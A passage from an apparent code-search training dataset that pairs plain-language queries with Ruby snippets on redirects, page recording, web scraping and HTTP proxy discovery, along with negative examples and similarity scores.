<<\n\t\t\t\t\"#{info.controller}/#{info.action} (#{info.method}), \" <<\n\t\t\t\t\"parameters: #{info.params.inspect}\")\n\t\t\trender :inline => TEMPLATE_FOR_POST_REDIRECTION, :layout => false\n\t\tend\n\t\treturn true\n\tend",
"def create_finalurl\n\t\tStore.all.each do |store_obj|\n\t\t\tif url.include?(store_obj.tracker_urlidentifier)\n\t\t\t\tself.store = store_obj\n\t\t \t\tself.finalurl = store.get_redirect_url(url, id)\n\t\t \t\tself.save!\n\t\t\tend\n\t\tend\n\tend",
"def redirect_location\n http_redirect? ? @get_resp.header['location'] : nil\n end",
"def redirect_location\n http_redirect? ? @get_resp.header['location'] : nil\n end",
"def redirect_url(realm, return_to=nil, immediate=false)\n message = get_message(realm, return_to, immediate)\n return message.to_url(@endpoint.server_url)\n end",
"def redirect_to(url)\n raise 'Already responded' if already_built_response?\n flash.store_flash(res)\n res['Location'] = url\n res.status = 302\n @already_built_response = true\n session.store_session(res)\n end",
"def redirect_url(url, params={}, headers={}, http_options=@options)\n # determine the http options\n redirect_limit = http_options[:max_redirects] || max_redirects\n gateway_retries = http_options[:gateway_retry_limit] || gateway_retry_limit\n gateway_delay = http_options[:gateway_retry_delay] || gateway_retry_delay\n\n # parse the URL\n uri = URI.parse(url)\n # add URL parameters\n uri.query = URI.encode_www_form(params)\n\n # build the http object\n http = build_http(uri)\n # build the request\n request = Net::HTTP::Head.new(uri.request_uri, headers)\n\n # send the request\n response = http.request(request)\n # handle the response\n case response\n when Net::HTTPRedirection then\n if redirect_limit > 0\n url = response['location']\n head(response['location'], params, headers, http_options.merge({\n :max_redirects => redirect_limit - 1\n }))\n end\n # handle 502, 503, 504\n when Net::HTTPBadGateway, Net::HTTPServiceUnavailable, Net::HTTPGatewayTimeOut then\n if gateway_retries == -1\n KineticHttpResponse.new(response)\n elsif gateway_retries == 0\n @logger.info(\"HTTP response: #{response.code} #{response.message}\") unless @logger.debug?\n raise Net::HTTPFatalError.new(\"#{response.code} #{response.message}\", response)\n else\n @logger.info(\"#{response.code} #{response.message}, retrying in #{gateway_delay} seconds\")\n sleep(gateway_delay)\n redirect_url(url, params, headers, http_options.merge({\n :gateway_retry_limit => gateway_retries - 1\n }))\n end\n end\n url\n end",
"def redirect_to(url)\n unless already_built_response?\n @res[\"location\"] = url\n @res.status = 302\n @already_built_response = true\n else\n fail\n end\n session.store_session(res)\n end"
] | [
"0.81358474",
"0.81077385",
"0.79131883",
"0.78438246",
"0.76555467",
"0.75273144",
"0.7353265",
"0.7346001",
"0.7236638",
"0.7225533",
"0.6997556",
"0.6992243",
"0.6979397",
"0.6966184",
"0.6862678",
"0.68504125",
"0.6730477",
"0.667231",
"0.6621946",
"0.65637475",
"0.64756656",
"0.6464527",
"0.64114237",
"0.64095217",
"0.6403606",
"0.63824403",
"0.6318836",
"0.63142705",
"0.6304948",
"0.62850493",
"0.6280877",
"0.62603784",
"0.6254609",
"0.625114",
"0.6231204",
"0.62267405",
"0.62267405",
"0.62169015",
"0.61953783",
"0.6180035",
"0.6176214",
"0.6176214",
"0.61411726",
"0.6136677",
"0.61097246",
"0.6100816",
"0.6088276",
"0.6057683",
"0.6026728",
"0.5992968",
"0.5991743",
"0.5988147",
"0.5979653",
"0.59791726",
"0.5973805",
"0.5960845",
"0.59592533",
"0.59530026",
"0.594128",
"0.59330904",
"0.5916052",
"0.59022224",
"0.5901226",
"0.58819836",
"0.5877847",
"0.587229",
"0.58718187",
"0.586759",
"0.5861741",
"0.58612496",
"0.58511776",
"0.5845623",
"0.58426374",
"0.58386064",
"0.58259124",
"0.58210105",
"0.5819902",
"0.581763",
"0.5817215",
"0.5817215",
"0.58138454",
"0.58066344",
"0.579734",
"0.57924145",
"0.57921344",
"0.57921344",
"0.5789236",
"0.57848406",
"0.5770812",
"0.57680976",
"0.5765376",
"0.5764303",
"0.5759126",
"0.5758174",
"0.57505876",
"0.57505876",
"0.57453454",
"0.57448035",
"0.5722494",
"0.57216394"
] | 0.6837485 | 16 |
record a page that contains this link | def add_page_from(page)
pages_from << page unless pages_from.include?(page)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def record_page(page)\n\t\t\t\turl = page.uri.to_s\n\t\t\t\trecord(url, content: page.content)\n\t\t\tend",
"def associate_page(page); end",
"def store_page\n @stored_page = @crwlr.pages.create(:address => @url, :title => @page_title[0..200], :number_of_links => @links.size)\n if @parent_page\n @parent_page.pages << @stored_page\n end\n end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page!\n save_and_open_page\n end",
"def page!\n save_and_open_page\n end",
"def add_to_history(page); end",
"def create\n @link = Link.new(params[:link])\n doc = Pismo::Document.new(@link.url) \n #grab metadata from doc\n if doc.title.nil?\n @link.name = doc.description\n else\n @link.name = doc.title\n end\n @link.favicon = doc.favicon\n\n #FOR OFFLINE USE\n #@link.name = \"Offline Description\"\n\n\n\n\n paginate_all_links\n respond_to do |format|\n if @link.save\n #if using bookmarklet foward back to link you came from\n if request.referer =~ /autosave/\n format.html { redirect_to @link.url }\n else\n #if using frontpage redirect to show all links \n format.html { redirect_to root_url+\"#show-links\", notice: 'Link was successfully created.' }\n end\n format.html { redirect_to @link.url, notice: 'Link was successfully created.' }\n format.json { render json: @link, status: :created, location: @link }\n else\n format.html { render action: \"new\" }\n format.json { render json: @link.errors, status: :unprocessable_entity }\n end\n end\n end",
"def click(link); end",
"def page; self end",
"def next_page; link 'next' end",
"def save_information(keyword, page)\n\t\t\tkeyword.save_adword_urls(page)\n\t\t\tkeyword.save_nonadword_urls(page)\n \tend",
"def link_to_page(name)\n page = StaticPage.find_by_name(name)\n page = StaticPage.create!(:name => name) unless page\n static_page_path(page)\n end",
"def page\n\n end",
"def share_page(id)\n unless @page = @scope.pages.first({ id: id })\n halt 404, \"This link seems to point to a non-existent page.\"\n end\n\n unless pp = @scope.public_pages.first({ page: @page })\n pp = @scope.public_pages.create({ page: @page, user: current_user })\n end\n\n redirect pp.url\nend",
"def set_page\n end",
"def next_page\n @page.link_with(:text => /Next/)\n end",
"def scrapePage\n # expects to be passed in a Watir:Browser object\n # gets the header from the current browser page and records it, the page url and the next page's url to the array\n pageDoc = getPage\n nextPageUrl = getFirstLinkUrl(pageDoc)\n pageEntry = getPageRecord(pageDoc, nextPageUrl)\n recordEntry(pageEntry)\n\n LOGGER.debug(\"Information scraped from: #{pageEntry[:url]}\")\n end",
"def saveNewPostURL(obj)\n if obj['pageObj'].exist?\n status = 'True'\n msg = 'New Post Success'\n value = @browser.url\n else\n status = 'False'\n msg = 'New Post Fail'\n value = ''\n end\n @report << [obj['Screen'], msg, value, status]\n end",
"def link\n\t\tpage_id.present? ? short_page_path(Page.find(page_id)) : href\n\tend",
"def set_page\n @page = Page.find_by_permalink!(params[:id])#.split(\"/\").last)\n end",
"def pages; end",
"def href; end",
"def add\n if page.url && !Ink.config['docs_mode']\n Ink.site.pages << page unless Helpers::Path.find_page(page)\n end\n end",
"def view\n @page = StaticContent.find(:first,:conditions =>[\"url_name=?\",params[:url].join('/')]) \n if @page == nil\n if admin?\n flash[:warning] = 'Requested page does not exist. Would you like to <a href=\"/static/new?document[url_name]=' + params[:url].to_s + '\">create it</a>?'\n else\n flash[:warning] = 'Sorry, the page you have requested does not exist.'\n end\n redirect_to :back;\n return\n end\n @page_title = @page.one_line_summary\nend",
"def save_adword_urls(page)\n\t\tsave_adword_urls_right(page) \n\t\tsave_adword_urls_top(page)\n\tend",
"def goto newPage\n unless friends[newPage.to_sym].nil?\n uri = friends[newPage.to_sym].uri\n end\n uri ||= newPage\n uri = @page.uri+uri unless uri.to_s =~ /^http/u\n @page = @agent.get uri\n @page\n end",
"def to_page\n \n u = User.find_by_login(authorid)\n \n UserActionObserver.current_user = u\n \n page = Page.new(\n :title => title,\n :created_at => lastmod,\n :updated_at => lastmod,\n :slug => url_title,\n :status => Status[:published],\n :breadcrumb => title,\n :published_at => posted, \n :enable_comments => annotate.to_s,\n :keywords => keywords,\n :created_by => u,\n :updated_by => u\n )\n \n page.parts << PagePart.new(:name => 'body', :filter_id => \"Textile\", :content => body )\n page.parts << PagePart.new(:name => 'intro', :filter_id => \"Textile\", :content => body.split(/\\r\\n\\s*\\r\\n/).first)\n \n page\n end",
"def get_da_detail_page(page, da_container)\n\n tds = da_container.search('td')\n\n href = tds[0].at('a')['href']\n\n detail_page = page.link_with(:href => \"#{href}\").click\n\n \n\n return detail_page\n\nend",
"def get_da_detail_page(page, da_container)\n\n tds = da_container.search('td')\n\n href = tds[0].at('a')['href']\n\n detail_page = page.link_with(:href => \"#{href}\").click\n\n \n\n return detail_page\n\nend",
"def link() url; end",
"def link() url; end",
"def handle_new\n obj = model.new(request.params[model.link], request)\n model.hook(:before_new, request, obj)\n new_page(obj)\n end",
"def sub_navigate\n page(FeedDetailsPage).touch_row\n page(MorePage).page_handler(\"Submission\")\n end",
"def visited_page(url); end",
"def visited_page(url); end",
"def set_page\n page = find_page(params[:id])\n @url = page[0]\n @title = page[1]\n @contents = find_file(page[2])\n end",
"def scrape_and_look_for_next_link(page)\n scrape_table(page.body)\n link = page.link_with(:text => '2')\n if link\n page.form_with(:name => 'aspnetForm') do |f|\n f['__EVENTTARGET'] = 'ctl00$ContentPlaceHolder1$tab21$GVProcesos'\n f['__EVENTARGUMENT'] = 'Page$2'\n page = f.submit()\n p page.body\n end\n scrape_and_look_for_next_link(page)\n end\nend",
"def scrape_and_look_for_next_link(page)\n scrape_table(page.body)\n link = page.link_with(:text => '2')\n if link\n page.form_with(:name => 'aspnetForm') do |f|\n f['__EVENTTARGET'] = 'ctl00$ContentPlaceHolder1$tab21$GVProcesos'\n f['__EVENTARGUMENT'] = 'Page$2'\n page = f.submit()\n p page.body\n end\n scrape_and_look_for_next_link(page)\n end\nend",
"def scrape_and_look_for_next_link(page)\n scrape_table(page.body)\n link = page.link_with(:text => '2')\n if link\n page.form_with(:name => 'aspnetForm') do |f|\n f['__EVENTTARGET'] = 'ctl00$ContentPlaceHolder1$tab21$GVProcesos'\n f['__EVENTARGUMENT'] = 'Page$2'\n page = f.submit()\n p page.body\n end\n scrape_and_look_for_next_link(page)\n end\nend",
"def scrape_and_look_for_next_link(page)\n scrape_table(page.body)\n link = page.link_with(:text => '2')\n if link\n page.form_with(:name => 'aspnetForm') do |f|\n f['__EVENTTARGET'] = 'ctl00$ContentPlaceHolder1$tab21$GVProcesos'\n f['__EVENTARGUMENT'] = 'Page$2'\n page = f.submit()\n p page.body\n end\n scrape_and_look_for_next_link(page)\n end\nend",
"def goto_page(page)\r\n goto_url full_url(page);\r\n end",
"def load_results(results_page)\n puts \"load results\"\n\n # Get all the links on the page\n links = results_page.links_with(:href => /^search_corps\\.php\\?DETAIL/)\n\n # Get the index of the last loaded link, or 0\n index = ScraperWiki.get_var(INDEX, 0)\n\n # Finish loading the rest of the links onthe page\n while index < links.length \n link = DETAIL_BASE + links[index].href\n puts \"load link \" + link\n\n # Load the current link\n begin\n ScraperWiki.sqliteexecute(\"INSERT INTO links (link) VALUES (?)\", [link])\n ScraperWiki.commit()\n rescue Exception => e\n puts \"Exception (#{e.inspect}) raised saving record #{link}\"\n end\n\n # Increment and save the index\n index = index + 1\n ScraperWiki.save_var(INDEX, index)\n end\nend",
"def load_results(results_page)\n puts \"load results\"\n\n # Get all the links on the page\n links = results_page.links_with(:href => /^search_corps\\.php\\?DETAIL/)\n\n # Get the index of the last loaded link, or 0\n index = ScraperWiki.get_var(INDEX, 0)\n\n # Finish loading the rest of the links onthe page\n while index < links.length \n link = DETAIL_BASE + links[index].href\n puts \"load link \" + link\n\n # Load the current link\n begin\n ScraperWiki.sqliteexecute(\"INSERT INTO links (link) VALUES (?)\", [link])\n ScraperWiki.commit()\n rescue Exception => e\n puts \"Exception (#{e.inspect}) raised saving record #{link}\"\n end\n\n # Increment and save the index\n index = index + 1\n ScraperWiki.save_var(INDEX, index)\n end\nend",
"def external_link_inventory # make this an object attribute for every page object, along with base url, and other helpful state info\n []\n end",
"def page_link(page_id)\n page = Page.find(page_id)\n page.link.downcase\n end",
"def pages\n end",
"def page\n obj\n end",
"def process_page page_url\n page = SuperCrawler::Scrap.new(page_url) # Scrap the current page\n\n current_page_links = page.get_links # Get current page internal links\n new_links = current_page_links - @links # Select new links\n\n new_links.each { |link| @links_queue.push(link) } # Add new links to the queue\n @links += new_links # Add new links to the links list\n @crawl_results << { # Provide current page crawl result as a hash\n url: page.url, # The crawled page\n links: current_page_links, # Its internal links\n assets: page.get_assets # Its assets\n }\n\n SuperCrawler::Render.log_status( page_url, @crawl_results.length, @links.length ) if @option_debug # Display site crawling status\n end",
"def add_page(url)\n unless robot_txt_allowed?(url)\n @scanned_pages << url\n return nil\n end\n page = Page.new(url)\n @pages << page\n @scanned_pages << url\n end",
"def next_page; end",
"def link_scrap(page)\n webpage = Nokogiri::HTML(open(page_params))\n webpage.css('a').each do |link| \n @link_obj = Link.new(text: link.text.strip, href: link['href'])\n page.links << @link_obj\n end\n end",
"def dump(a, page)\n return unless self.debug?\n\n url = a.current_page.uri.request_uri\n puts \"current page: #{url}\"\n\n md5 = Digest::MD5.new; md5 << url; md5 << Time.now.to_s\n path = File.join(Dir.tmpdir, md5.to_s + \".html\")\n out = open(path, \"w\") do |f|\n f << \"Current page: #{url}\"\n f << \"Headers: #{page.header}\"\n f << page.body\n end\n\n puts \"#{url} -> #{path}\"\n end",
"def save_page(title, attr)\n title = normalize_title(title)\n \n page = find_page(title)\n page.set(attr)\n \n transaction \"update `#{page.title}'\" do\n store[page.title + '.md'] = page\n end\n end",
"def page=(_arg0); end",
"def page=(_arg0); end",
"def page=(_arg0); end",
"def link_to_add_entry page\n url = new_admin_page_path parent_id: @page.id, type: page_set_type(page)\n raw link_to 'Add Entry', url, class: 'button add', id: 'add-entry'\n end",
"def build_page(sha, ref)\n # implement inside child\n end",
"def add_to_history(page)\n @agent.history.push(page, @agent.resolve(page.uri))\n @history_added.call(page) if @history_added\n end",
"def show\n @link = Link.find_by(token: params[:token])\n @link.times_visited = @link.times_visited + 1\n @link.save\n Click.create(link: @link) # for reporting on most popular\n redirect_to @link.original_url\n end",
"def storeRec(link,catg) \n\t\tres_links = Nokogiri::HTML(open(link))\n\t\t\n\t\tres_links.css('div.topSection h3 a').each do |res|\n\t\t\tarr=[]\n\t\t\tarr.push res.text \n\t\t\tarr.push res['href']\t\n\t\t @arr_res.push arr\n\t\t\[email protected] 'insert into recipe values (?, ? ,?, ?,?,?)', @cnt, arr[0], arr[1],catg,'',''\n\t\t\t@cnt += 1\n\n\t\tend\n\n\tend",
"def link\n @link\n end",
"def page\n nil\n end",
"def assign_pages!; end",
"def page_link1(page, text, attributes = {})\n @template.link_to_remote(text, { \n :url => url_for(page).sub(/(\\w+)\\/[^\\?]+\\?/, \"\\\\1?\"),\n :method => :get,\n :loading => \"$('paging').show()\",\n :success => \"$('paging').hide()\"\n }.merge(@remote))\n end",
"def page_link(records, opts = {})\n uri = URI.parse(request.original_url)\n query = Rack::Utils.parse_query(uri.query)\n query['page'] = records.send(\"#{opts[:page]}_page\")\n uri.query = Rack::Utils.build_query(query)\n uri.to_s\n end",
"def easy\n url = params[:url]\n\n # Well, this would be super slow for mainstream processors, but\n # might be good enough for Mom's & Dad's shop\n link = Link.find_by_url(url)\n\n # Oops, we don't have this Url in tables yet\n if link.nil?\n link = Link.new\n link.url = url\n link.save\n end\n\n render :text => SHORT_URL + \"/\" + Base32::Crockford.encode(link.id)\n end",
"def linkToPageIDFrom(toPageID, fromPageID)\n puts \"Link #{toPageID} to #{fromPageID}\"\n link = $links[toPageID]\n if link == nil\n\tputs \"Bad link for #{toPageID}\"\n end\n if toPageID == fromPageID\n return link\n elsif fromPageID == \"toc\"\n link = \"pages/\" + link\n elsif toPageID == \"toc\" and fromPageID\n link = \"../\" + link\n end\n return link\nend",
"def p_publish( obj )\n puts \"## Page: #{ obj.link }, updated #{ obj.updated }\"\n end",
"def next_page\n end",
"def page(message, url)\n recipients message.recipients\n from ADMIN_EMAIL\n subject message.subject\n body :message => message, :url => url\n end",
"def page(key)\n end",
"def page_ref\n self\n end",
"def next_page\n string = QJ.next_string()\n url = BSU + string\n BR.goto(url)\nend",
"def next_page\n @links['next']\n end",
"def goto_weblog(page)\n #generally speaking, we want to goto \"http://[username].xanga.com/\n\n page = @agent.click page.links.href(\"http://#{@user}.xanga.com/\").first\n end",
"def scrape_table(page)\n data_table = page.css('div.boxListResult').each do |x|\n record = {}\n record[:Link] = DOMAIN + x.css(\"div.contInfo h3 a\").at_css(\"a\")[\"href\"]\n # Print out the data we've gathered\n puts record\n # Finally, save the record to the datastore - 'Artist' is our unique key\n ScraperWiki.save_sqlite(unique_keys=[:Link], data=record)\n end\nend",
"def scrape_table(page)\n data_table = page.css('div.boxListResult').each do |x|\n record = {}\n record[:Link] = DOMAIN + x.css(\"div.contInfo h3 a\").at_css(\"a\")[\"href\"]\n # Print out the data we've gathered\n puts record\n # Finally, save the record to the datastore - 'Artist' is our unique key\n ScraperWiki.save_sqlite(unique_keys=[:Link], data=record)\n end\nend",
"def scrape_table(page)\n data_table = page.css('div.boxListResult').each do |x|\n record = {}\n record[:Link] = DOMAIN + x.css(\"div.contInfo h3 a\").at_css(\"a\")[\"href\"]\n # Print out the data we've gathered\n puts record\n # Finally, save the record to the datastore - 'Artist' is our unique key\n ScraperWiki.save_sqlite(unique_keys=[:Link], data=record)\n end\nend",
"def scrape_table(page)\n data_table = page.css('div.boxListResult').each do |x|\n record = {}\n record[:Link] = DOMAIN + x.css(\"div.contInfo h3 a\").at_css(\"a\")[\"href\"]\n # Print out the data we've gathered\n puts record\n # Finally, save the record to the datastore - 'Artist' is our unique key\n ScraperWiki.save_sqlite(unique_keys=[:Link], data=record)\n end\nend",
"def link_to_page name, page_name, options={}\n\tlink_to name, root_url+Page.find_by_name(page_name.to_s).url, options\n rescue\n\twarning(\"no such page with ID '#{page_name}'\")\n end",
"def new_page\n page = Page.new\n page.url = params[:id] if Page.url?(params[:id]) && params[:id] != 'new-page'\n page\n end",
"def Link(x, y, w, h, link)\n\t\t#Put a link on the page\n @page_links ||= Array.new\n @page_links[@page] ||= Array.new\n @page_links[@page].push([x * @k, @h_pt - y * @k, w * @k, h*@k, link]);\n\tend",
"def new_link\n @link = Link.new\n end",
"def generated_permalink; end",
"def next_page\n\t\t\tFeed.parse_url(next_page_url,@browser)\n\t\tend",
"def sample_page\n\n end",
"def page_link(link, data)\n get_page_from_link(link, data, '//img[@id=\"image\"]')\n end",
"def saop\n save_and_open_page\n end"
] | [
"0.76575977",
"0.71869576",
"0.6662686",
"0.65359455",
"0.65359455",
"0.65359455",
"0.65359455",
"0.65359455",
"0.65359455",
"0.65359455",
"0.65359455",
"0.65359455",
"0.65359455",
"0.65359455",
"0.65359455",
"0.651008",
"0.651008",
"0.65002435",
"0.6353063",
"0.63040876",
"0.62414014",
"0.62288207",
"0.6185424",
"0.61699677",
"0.6142112",
"0.6114823",
"0.6098738",
"0.6061516",
"0.60450566",
"0.6041426",
"0.6020822",
"0.6013269",
"0.5956866",
"0.5946981",
"0.59453106",
"0.5933582",
"0.5928405",
"0.59197295",
"0.59030205",
"0.58975744",
"0.58975744",
"0.58919924",
"0.58919924",
"0.5878177",
"0.5876832",
"0.58729374",
"0.58729374",
"0.5870017",
"0.5868699",
"0.5868699",
"0.586744",
"0.586744",
"0.5847208",
"0.584004",
"0.584004",
"0.58208895",
"0.5810727",
"0.57980084",
"0.57930547",
"0.57911265",
"0.5788593",
"0.57856846",
"0.57856673",
"0.57786876",
"0.5755426",
"0.57088786",
"0.57088786",
"0.57088786",
"0.5706553",
"0.5704898",
"0.57016736",
"0.5684816",
"0.5677805",
"0.56776845",
"0.5672441",
"0.56691873",
"0.5666488",
"0.5665177",
"0.5636377",
"0.5634376",
"0.5628071",
"0.56189877",
"0.5616411",
"0.5614676",
"0.5610346",
"0.5607186",
"0.56020445",
"0.5591006",
"0.55909854",
"0.55909854",
"0.55909854",
"0.55909854",
"0.55863327",
"0.5584067",
"0.5583627",
"0.5581146",
"0.5576911",
"0.55729395",
"0.557257",
"0.5572136",
"0.5562288"
] | 0.0 | -1 |
get the proxy that applies to this particular link on windows this requires dll interaction as it has richer proxy support and the proxy can be different for different links on unix this is always a common proxy for all links that is provided via an environment variable | def proxy
return @proxy if @proxy
return if not Utility.is_windows?
handle = WinProxy.open(@@HTTP_header['User-Agent'], 1, nil, nil, 0)
return @proxy if handle.null?
options = WinProxy::Options.new
options[:flags] = 1
options[:auto_detect_flags] = 2
options[:auto_logon] = 1
info = WinProxy::Info.new
res = WinProxy.get_proxy(handle, (uri.to_s + "\0").encode('utf-16le'), options, info)
return @proxy if res == 0 # the call failed so return default proxy
return unless info.proxy?
puts "TODO: handle proxy bypass - #{info[:bypass].read_16bit_c_string}" unless info[:bypass].null?
proxies = info[:proxy].read_16bit_c_string.strip.split(';').select {|p| not p.empty? }.map {|p| p.split(':') }
@proxy = proxies[0]
@proxy << '80' if @proxy.length == 1
@proxy += proxy_userpass(proxies.map {|p| p[0] })
WinProxy.free(info[:proxy])
WinProxy.free(info[:bypass]) unless info[:bypass].null?
@proxy
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_defined_proxy\n prime_proxy = ENV.select { |k,v| v if k =~ /http_proxy/i }.first\n if prime_proxy.nil?\n prime_proxy = ENV.select { |k,v| v if k =~ /all_proxy/i }.first\n end\n return nil if prime_proxy.nil?\n\n URI.parse(prime_proxy[1])\n end",
"def find_http_proxy\n ret = [nil, nil]\n\n # check the platform. If we're running in windows then we need to \n # check the registry\n if @use_proxy\n if RUBY_PLATFORM =~ /win32/i\n # Find a proxy in Windows by checking the registry.\n # this code shamelessly copied from Raggle :D\n\n require 'win32/registry'\n\n Win32::Registry::open(\n Win32::Registry::HKEY_CURRENT_USER,\n 'Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings'\n ) do |reg|\n # check and see if proxy is enabled\n if reg.read('ProxyEnable')[1] != 0\n # get server, port, and no_proxy (overrides)\n server = reg.read('ProxyServer')[1]\n np = reg.read('ProxyOverride')[1]\n\n server =~ /^([^:]+):(.+)$/\n ret = [$1, $2]\n\n # don't bother with no_proxy support\n # ret['no_proxy'] = np.gsub(/;/, ',') if np && np.length > 0\n end\n end\n else\n # handle UNIX systems\n PROXY_ENV_VARS.each do |env_var|\n if ENV[env_var]\n # if we found a proxy, then parse it\n ret = ENV[env_var].sub(/^http:\\/\\/([^\\/]+)\\/?$/, '\\1').split(':')\n ret[1] = ret[1].to_i if ret[1]\n break\n end\n end\n # $stderr.puts \"DEBUG: http_proxy = #{ENV['http_proxy']}, ret = [#{ret.join(',')}]\"\n end\n else \n # proxy is disabled\n ret = [nil, nil]\n end\n\n # return host and port\n ret\n end",
"def find_http_proxy\n ret = [nil, nil]\n\n # check the platform. If we're running in windows then we need to \n # check the registry\n if @opt['use_proxy'] || @opt['proxy_url']\n if @opt['proxy_url'] && @opt['proxy_url'].size > 0\n uri = parse_url(@opt['proxy_url'], 'proxy URL')\n ret = [uri.host, uri.port]\n elsif RUBY_PLATFORM =~ /win32/i\n # Find a proxy in Windows by checking the registry.\n # this code shamelessly copied from Raggle :D\n\n require 'win32/registry'\n\n Win32::Registry::open(\n Win32::Registry::HKEY_CURRENT_USER,\n 'Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings'\n ) do |reg|\n # check and see if proxy is enabled\n if reg.read('ProxyEnable')[1] != 0\n # get server, port, and no_proxy (overrides)\n server = reg.read('ProxyServer')[1]\n np = reg.read('ProxyOverride')[1]\n\n server =~ /^([^:]+):(.+)$/\n ret = [$1, $2]\n\n # don't bother with no_proxy support\n # ret['no_proxy'] = np.gsub(/;/, ',') if np && np.length > 0\n end\n end\n else\n # handle UNIX systems\n PROXY_ENV_VARS.each do |env_var|\n if ENV[env_var]\n # if we found a proxy, then parse it\n ret = ENV[env_var].sub(/^http:\\/\\/([^\\/]+)\\/?$/, '\\1').split(':')\n ret[1] = ret[1].to_i if ret[1]\n break\n end\n end\n # $stderr.puts \"DEBUG: http_proxy = #{ENV['http_proxy']}, ret = [#{ret.join(',')}]\"\n end\n else \n # proxy is disabled\n ret = [nil, nil]\n end\n\n # return host and port\n ret\n end",
"def getproxy\n proxy = (ENV['HTTP_PROXY'] == nil)? ENV['http_proxy'] : ENV['HTTP_PROXY']\n return proxy\n end",
"def getproxy\n proxy = (ENV['HTTP_PROXY'] == nil)? ENV['http_proxy'] : ENV['HTTP_PROXY']\n return proxy\n end",
"def proxy\n ENV['BETTERY_PROXY']\n end",
"def http_proxy_uri\n @tools.http_proxy_url\n end",
"def proxy\n ENV['HYPERKIT_PROXY']\n end",
"def getproxyuri\n proxy = self.getproxy\n proxy_uri = (proxy != nil )? URI.parse(proxy) : nil\n return proxy_uri\n end",
"def proxy\n ENV['RANCHER_PROXY']\n end",
"def find_proxy(env=ENV)\n raise BadURIError, \"relative URI: #{self}\" if self.relative?\n name = self.scheme.downcase + '_proxy'\n proxy_uri = nil\n if name == 'http_proxy' && env.include?('REQUEST_METHOD') # CGI?\n # HTTP_PROXY conflicts with *_proxy for proxy settings and\n # HTTP_* for header information in CGI.\n # So it should be careful to use it.\n pairs = env.reject {|k, v| /\\Ahttp_proxy\\z/i !~ k }\n case pairs.length\n when 0 # no proxy setting anyway.\n proxy_uri = nil\n when 1\n k, _ = pairs.shift\n if k == 'http_proxy' && env[k.upcase] == nil\n # http_proxy is safe to use because ENV is case sensitive.\n proxy_uri = env[name]\n else\n proxy_uri = nil\n end\n else # http_proxy is safe to use because ENV is case sensitive.\n proxy_uri = env.to_hash[name]\n end\n if !proxy_uri\n # Use CGI_HTTP_PROXY. cf. libwww-perl.\n proxy_uri = env[\"CGI_#{name.upcase}\"]\n end\n elsif name == 'http_proxy'\n unless proxy_uri = env[name]\n if proxy_uri = env[name.upcase]\n warn 'The environment variable HTTP_PROXY is discouraged. Use http_proxy.'\n end\n end\n else\n proxy_uri = env[name] || env[name.upcase]\n end\n\n if proxy_uri.nil? || proxy_uri.empty?\n return nil\n end\n\n if self.hostname\n require 'socket'\n begin\n addr = IPSocket.getaddress(self.hostname)\n return nil if /\\A127\\.|\\A::1\\z/ =~ addr\n rescue SocketError\n end\n end\n\n name = 'no_proxy'\n if no_proxy = env[name] || env[name.upcase]\n no_proxy.scan(/(?!\\.)([^:,\\s]+)(?::(\\d+))?/) {|host, port|\n if (!port || self.port == port.to_i)\n if /(\\A|\\.)#{Regexp.quote host}\\z/i =~ self.host\n return nil\n elsif addr\n require 'ipaddr'\n return nil if\n begin\n IPAddr.new(host)\n rescue IPAddr::InvalidAddressError\n next\n end.include?(addr)\n end\n end\n }\n end\n URI.parse(proxy_uri)\n end",
"def proxy_address\n proxy? ? @options['proxy_address'] || '127.0.0.1' : nil\n end",
"def proxyaddress\n config[\"proxyaddress\"]\n end",
"def http_proxy\n @http_proxy ||= begin\n proxy = get_env('HTTP_PROXY') || return\n proxy = \"http://#{proxy}\" unless proxy =~ /^https?:/\n uri = URI.parse(proxy)\n uri.user ||= get_env('HTTP_PROXY_USER')\n uri.password ||= get_env('HTTP_PROXY_PASS')\n uri\n end\n end",
"def getproxyuri\n proxy = self.getproxy\n proxy_uri = (proxy != nil )? URI.parse(proxy) : nil\n return proxy_uri\n end",
"def proxy\n ENV['NEARMISS_PROXY']\n end",
"def find_proxy(env=ENV)\n raise BadURIError, \"relative URI: #{self}\" if self.relative?\n name = self.scheme.downcase + '_proxy'\n proxy_uri = nil\n if name == 'http_proxy' && env.include?('REQUEST_METHOD') # CGI?\n # HTTP_PROXY conflicts with *_proxy for proxy settings and\n # HTTP_* for header information in CGI.\n # So it should be careful to use it.\n pairs = env.reject {|k, v| /\\Ahttp_proxy\\z/i !~ k }\n case pairs.length\n when 0 # no proxy setting anyway.\n proxy_uri = nil\n when 1\n k, _ = pairs.shift\n if k == 'http_proxy' && env[k.upcase] == nil\n # http_proxy is safe to use because ENV is case sensitive.\n proxy_uri = env[name]\n else\n proxy_uri = nil\n end\n else # http_proxy is safe to use because ENV is case sensitive.\n proxy_uri = env.to_hash[name]\n end\n if !proxy_uri\n # Use CGI_HTTP_PROXY. cf. libwww-perl.\n proxy_uri = env[\"CGI_#{name.upcase}\"]\n end\n elsif name == 'http_proxy'\n if RUBY_ENGINE == 'jruby' && p_addr = ENV_JAVA['http.proxyHost']\n p_port = ENV_JAVA['http.proxyPort']\n if p_user = ENV_JAVA['http.proxyUser']\n p_pass = ENV_JAVA['http.proxyPass']\n proxy_uri = \"http://#{p_user}:#{p_pass}@#{p_addr}:#{p_port}\"\n else\n proxy_uri = \"http://#{p_addr}:#{p_port}\"\n end\n else\n unless proxy_uri = env[name]\n if proxy_uri = env[name.upcase]\n warn 'The environment variable HTTP_PROXY is discouraged. Use http_proxy.', uplevel: 1\n end\n end\n end\n else\n proxy_uri = env[name] || env[name.upcase]\n end\n\n if proxy_uri.nil? || proxy_uri.empty?\n return nil\n end\n\n if self.hostname\n begin\n addr = IPSocket.getaddress(self.hostname)\n return nil if /\\A127\\.|\\A::1\\z/ =~ addr\n rescue SocketError\n end\n end\n\n name = 'no_proxy'\n if no_proxy = env[name] || env[name.upcase]\n return nil unless URI::Generic.use_proxy?(self.hostname, addr, self.port, no_proxy)\n end\n URI.parse(proxy_uri)\n end",
